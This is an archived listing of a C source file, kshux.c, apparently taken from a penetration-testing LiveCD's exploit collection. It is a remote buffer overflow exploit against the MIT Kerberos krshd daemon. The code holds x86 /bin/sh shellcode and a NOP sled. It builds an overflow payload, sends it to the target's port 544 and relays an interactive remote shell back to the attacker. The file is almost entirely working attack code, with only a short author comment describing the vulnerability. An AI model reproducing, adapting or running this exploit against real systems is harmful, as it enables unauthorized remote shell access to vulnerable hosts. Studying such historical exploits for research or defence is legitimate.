home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / remote / kshux.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  153 lines

  1. /********
  2.  * kshux.c -- krshd remote exploit
  3.  * written April 8, 2000
  4.  * Jim Paris <jim@jtan.com>
  5.  * 
  6.  * This program exploits a vulnerability in the 'krshd' daemon included
  7.  * with the MIT Kerberos distribution.  All versions are apparently
  8.  * vulnerable.
  9.  *
  10.  * This exploit is for Linux/x86 with Kerberos version 1.0, but you'll
  11.  * probably need a fair bit of coaxing to get it to work.
  12.  *
  13.  * And yes, it's ugly.  I need to accept an incoming connection from the
  14.  * remote server, handle the fact that the overflow goes through two
  15.  * functions and a toupper(), make sure that certain overwritten pointers
  16.  * on the remote host's stack are set to valid values so that a strlen
  17.  * call in krb425_conv_principal() doesn't cause a segfault before we
  18.  * return into the shellcode, adjust the offset depending on the remote
  19.  * hostname to properly align things, etc etc.  As a result, you'll
  20.  * probably have a hard time getting this to work -- it took a lot of
  21.  * hacking and hardcoded numbers to get this to work against my test
  22.  * systems.
  23.  *
  24.  */
  25.  
  26. #include <stdio.h>
  27. #include <sys/types.h>
  28. #include <netdb.h>
  29. #include <time.h>
  30. #include <netinet/in.h>
  31.  
  32. #define LEN 1200
  33. #define OFFSET 0
  34. #define ADDR 0xbfffd7a4
  35.  
  36. char *sc="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
  37.          "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
  38.          "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
  39.  
  40. void get_incoming(int r) {
  41.   int s, l=1; struct sockaddr_in sa, ra;
  42.   bzero(&sa,sizeof(sa));
  43.   sa.sin_family=AF_INET;
  44.   sa.sin_addr.s_addr=htonl(INADDR_ANY);
  45.   sa.sin_port=htons(16474);
  46.   if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  47.     perror("socket"),exit(1);
  48.   setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&l,sizeof(l));
  49.   if(bind(s,(struct sockaddr *)&sa,sizeof(sa))<0)
  50.     perror("bind"),exit(1);
  51.   if(listen(s,1)) 
  52.     perror("listen"),exit(1);
  53.   write(r,"16474",6);
  54.   if(accept(s,&sa,&l)<0) 
  55.     perror("accept"),exit(1);
  56. }
  57.  
  58. int con_outgoing(char *h) {
  59.   int s, i; struct sockaddr_in a; struct hostent *e;
  60.   if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  61.     perror("socket"),exit(1);
  62.   if((i=inet_addr(h))==INADDR_NONE) { 
  63.     if((e=gethostbyname(h))==NULL)
  64.       perror("gethostbyname"),exit(1);
  65.     bcopy(e->h_addr,&i,sizeof(i)); }
  66.   bzero(&a,sizeof(a));
  67.   a.sin_family=AF_INET;
  68.   a.sin_addr.s_addr=i;
  69.   a.sin_port=htons(544);
  70.   if(connect(s,(struct sockaddr *)&a,sizeof(a))<0)
  71.     perror("connect"),exit(1);
  72.   return s;
  73. }
  74.  
  75. void bus(int s) {
  76.   int i; fd_set r; char b[1024];
  77.   for(;;) {
  78.     FD_ZERO(&r); FD_SET(0,&r); FD_SET(s,&r);
  79.     if((i=select(s+1,&r,NULL,NULL,NULL))==-1)
  80.       perror("select"),exit(1);
  81.     if(i==0) fprintf(stderr,"closed\n"),exit(0);
  82.     if(FD_ISSET(s,&r)) {
  83.       if((i=read(s,b,sizeof(b)))<1)
  84.     fprintf(stderr,"closed\n"),exit(0);
  85.       write(1,b,i); }
  86.     if(FD_ISSET(0,&r)) {
  87.       if((i=read(0,b,sizeof(b)))<1)
  88.     fprintf(stderr,"closed\n"),exit(0);
  89.       write(s,b,i); } }
  90. }
  91.  
  92. void main(int ac, char *av[])
  93. {
  94.   int s, i, j, a=ADDR, o=OFFSET;
  95.   int l, h;
  96.   char b[LEN];
  97.  
  98.   if(ac<2) { 
  99.     fprintf(stderr,"%s hostname [addr] [offset]\n",*av);
  100.     exit(1);
  101.   }
  102.   a+=(ac>2)?atoi(av[2]):0;
  103.   o+=(ac>3)?atoi(av[3]):(4-(strlen(av[1])%4));
  104.   o%=4;
  105.   if(o<0) o+=4;
  106.   l=(ac>4)?atoi(av[4]):-10;
  107.   h=(ac>5)?atoi(av[5]):10;
  108.   fprintf(stderr,"addr=%p, offset=%d\n",a,o);
  109.  
  110.   if(isupper(((char *)&a)[0]) ||
  111.      isupper(((char *)&a)[1]) ||
  112.      isupper(((char *)&a)[2]) ||
  113.      isupper(((char *)&a)[3]))
  114.     fprintf(stderr,"error: addr contains uppercase\n"),exit(0);
  115.  
  116.   s=con_outgoing(av[1]);
  117.   get_incoming(s);
  118.  
  119.   sprintf(&b[0],"AUTHV0.1blahblah");
  120.   *(int *)(b+16)=htonl(LEN);
  121.   b[20]=4; b[21]=7; b[22]=123;
  122.   write(s,b,23);
  123.  
  124.   for(i=0;i<LEN-8-strlen(sc)-1;i++) b[i]=0x90;
  125.   bcopy(sc,b+i,strlen(sc)+1);
  126.   for(i=LEN-8;i<LEN;i++) b[i]=0x00;
  127.  
  128.   for(i=255+o+l*4;i<=255+o+h*4;i+=4) *(int *)(b+i)=(a-4);
  129.   *(int *)(b+251+o)=a;
  130.  
  131.   write(s,b,LEN);
  132.  
  133.   bus(s);
  134. }
  135.  
  136.  
  137.  
  138.  
  139.  
  140.  
  141.  
  142.  
  143.  
  144.  
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151.  
  152.  
  153.